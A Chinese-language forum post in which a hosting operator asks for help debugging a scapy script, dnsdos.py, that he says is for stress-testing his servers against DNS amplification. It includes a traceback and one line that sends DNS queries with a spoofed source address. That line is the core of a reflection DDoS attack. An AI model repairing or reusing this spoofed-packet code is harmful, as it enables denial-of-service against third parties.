我经营一家小型托管公司。几个月以来,似乎越来越多的类似公司受到了这些 dns 反射/放大拒绝服务的打击。我们很幸运能被这些避开,至少现在是这样。但我想做好准备,所以我找到了一个 Python 脚本(我懂一点 Python),并想对我的一些服务器进行压力测试。
在我安装了 scapy、pypcap 和所有其他依赖项后,我得到了一个错误回溯。
Traceback (most recent call last):
File "C:\Python25\lib\threading.py", line 486, in __bootstr
self.run()
File "dnsdos.py", line 230, in run
send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(
rbose=0)
File "C:\Python25\lib\site-packages\scapy\sendrecv.py", lin
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter,
unt,verbose=verbose, realtime=realtime)
File "C:\Python25\lib\site-packages\scapy\sendrecv.py", lin
s.send(p)
File "C:\Python25\lib\site-packages\scapy\arch\pcapdnet.py"
ifs = dnet.eth(iff)
File "dnet.pyx", line 112, in dnet.eth.__init__
OSError: No error
这是有问题的代码行:
send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(qname=A_record)), verbose=0)
这会导致第 251 行的 \lib\site-packages\scapy\sendrecv.py 出现错误,即
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
在第 234 行
s.send(p)
并在第 237 行的 \lib\site-packages\scapy\arch\pcapdnet.py 上
ifs = dnet.eth(iff)
如果需要,我可以将这 3 个文件的全部代码上传到 pastebin 或其他地方。我试图寻找问题所在,但我无法弄清楚。我确实认为这些论点可能被错误地传递出去。不能说太多,因为我所做的只有套接字编码比这个简单得多。
操作系统:Windows 7 x64
Python 2.5